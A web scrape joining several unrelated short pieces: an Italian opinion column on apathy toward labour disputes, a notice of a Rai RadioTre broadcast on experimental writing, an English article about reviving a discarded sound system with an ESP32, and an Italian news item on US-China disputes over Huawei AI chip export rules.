E' l'oltre, la pigrizia di chi sta con il sedere al caldo (o che pensa di averlo coperto) e che può, tranquillamente, silenziosamente, fregarsene di vertenze durissime e dei dannati che sperano in un esito che restituisca un po’ di fiato. Questo sono i lavoratori dei gioielli da preservare della “cultura” del lavoro, della tradizione più autentica e genuina della laboriosità illuminata della parte sana del Paese. Peccato che, come in ogni famiglia, le magagne ci sono, ed enormi.
Questo è un corollario. L'Italia vive su questa “omertosa apatia“: possiamo dire che si regge sulle spallucce, quel gesto del corpo che sta a significare “Che me ne frega?”. Sì, ovviamente sono dalla parte di chi ha problemi, sono sinceramente preoccupato dalla condizione di milioni di concittadini costretti praticamente alla povertà pur lavorando e mi indigno fortemente (come se questo cambiasse qualcosa per qualcuno, ma non mi limito.)
Però, fermi: cinque minuti, in pausa caffè. Stasera apericena e c'è la partita in TV (a pagamento). Nessuno è innocente, in un gioco al massacro che vede soccombere giornalmente centinaia di famiglie: nella cosiddetta “società del benessere”, del “Ci sarà chi se ne preoccupa”, di coloro che sanno cosa devono fare gli altri, ma che personalmente ha le mani legate e lo sguardo basso da partecipazione emotiva spinta e sincera.
In piazza, davanti alle fabbriche, a mandare messaggi forti, mettendoci il corpo, la faccia, la pelle possono scendere sempre gli altri di cui sopra. Bravi, ma senza fare troppo casino, che ci si infastidisce. Ben attenti e ribadire che c'è chi deve risolvere le cose: a modino, con quella pragmatica calma che non dia noia al superiore, che certe discorsi non si fanno. Noi si sta bene, ce lo siamo guadagnato.
In Friulano si direbbe “Lasse stà” (lascia stare). E' la resa incondizionata al complice modus operandi di tutta quella genia imprenditoriale che scrive i “Codici etici” delle aziende e poi chiama la questura, che accorre prontamente, se ritiene che qualche manganellata al posto giusto sia un metodo meno aulico, ma più efficace di far filare le cose nella maniera corretta. Che, guarda caso, è sempre e solo la loro.
Tanto, parliamoci chiaro: sono molti di più quelli cui non frega nulla. E si sa che la maggioranza è ben salda e protetta. Dal 2022 poi...
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oggi, alle 17:30, Rai RadioTre Fahrenheit: dialogo su "La scuola delle cose" (Lyceum/Mudima) n. 19 - SCRITTURA DI RICERCA slowforward.net/2025/05/22/22m…
“la scuola delle cose” oggi pomeriggio su fahrenheit / rai radiotre
Oggi pomeriggio, su Fahrenheit, Rai RadioTre, alle ore 17:20 circa, dialogo con Tommaso Giartosio sul nuovo numero (aprile 2025) del tabloid “La scuola delle cose“ (Lyceum), dedicato alla SCRITTURA DI RICERCA.
L’espressione “scrittura di ricerca” è in azione da diversi decenni, e di certo si perde già nelle profondità del Novecento. Tuttavia, dagli anni 2003-2009 (ovvero fra l’esplosione dei blog letterari e l’uscita del libro collettivo Prosa in prosa – edito da Le Lettere; ora da Tic edizioni) e fino a oggi, il numero di materiali sperimentali e saggi sugli stessi è decisamente cresciuto. Ha dunque senso ed è forse addirittura indispensabile iniziare a fare il punto della situazione. Un primo tentativo – insieme sintetico e corposo – è rappresentato da questo numero de «La scuola delle cose», appena uscito grazie alla Fondazione Mudima, all’associazione Lyceum e alla partecipazione dell’Associazione dipoesia. Il tabloid raccoglie otto scritti di altrettanti studiosi e studiose, intorno alla ricerca letteraria e alle scritture complesse. Firmano gli interventi Luigi Ballerini, Gian Luca Picconi, Massimiliano Manganelli, Luigi Magno, Chiara Portesine, Renata Morresi, Chiara Serani, Daniele Poletti.
Plenty of consumer goods, from passenger vehicles to toys to electronics, get tossed out prematurely for all kinds of reasons. Repairable damage, market trends, planned obsolescence, and bad design can all lead to an early sunset on something that might still have some useful life in it. This was certainly the case for a sound system that [Bill] found — despite a set of good speakers, the poor design of the hardware combined with some damage was enough for the owner to toss it. But [Bill] took up the challenge to get it back in working order again. Inside the DIY control unit. The main problem with this unit is that of design. It relies on a remote control to turn it on and operate everything, and if that breaks or is lost, the entire unit won’t even power on. Tracing the remote back to the control board reveals a 15-pin connector, and some other audio sleuths online have a few ways of using this port to control the system without the remote.
[Bill] found a few mistakes that needed to be corrected, and was eventually able to get an ESP8266 (and eventually an ESP32) to control the unit thanks largely to the fact that it communicates using a slightly modified I2C protocol.
There were a few pieces of physical damage to correct, too. First, the AC power cable had been cut off which was simple enough to replace, but [Bill] also found that a power connector inside the unit was loose as well. With that taken care of he has a perfectly functional and remarkably inexpensive sound system ready for movies or music. There are some other options available for getting a set of speakers blasting tunes again as well, like building the amplifier for them from scratch from the get-go.
Solo poche settimane dopo che Stati Uniti e Cina hanno tentato di allentare le tensioni commerciali, i rapporti tra i due paesi si sono nuovamente inaspriti, questa volta a causa dei semiconduttori.
Il Ministero del Commercio cinese ha minacciato di intraprendere azioni legali contro qualsiasi azienda o Paese che rispetti le restrizioni sulle esportazioni di chip AI di Huawei. Lo ha riportato Bloomberg .
Il motivo sono le nuove direttive emanate dall’amministrazione Donald Trump il 13 maggio, che hanno ricordato che l’utilizzo dei chip AI Huawei Ascend “in qualsiasi parte del mondo” è considerato una violazione delle normative statunitensi sull’esportazione.
Le linee guida giungono mentre gli Stati Uniti stanno abrogando le normative sull’intelligenza artificiale introdotte sotto la presidenza di Joe Biden.
All’inizio della settimana, la Cina ha affermato che le azioni degli Stati Uniti stavano compromettendo gli accordi raggiunti nei colloqui di Ginevra volti a stabilizzare le relazioni. Pechino ha visto le nuove direttive come un gesto politico che viola lo spirito della riconciliazione raggiunta e ha accusato gli Stati Unitidi ostacolare i progressi nei colloqui.
A seguito delle critiche provenienti dalla Cina, il Dipartimento del Commercio degli Stati Uniti ha modificato la formulazione del documento, rimuovendo la parte più restrittiva, ovvero il riferimento a “ovunque nel mondo”, ha riportato Bloomberg.
Il rischio, ricorda Pechino, è che “questa pratica di utilizzare il protezionismo unilaterale per contenere e isolare altri paesi finirà per minare la competitività dell’industria statunitense, e il risultato non può che essere quello di darsi la zappa sui piedi”.
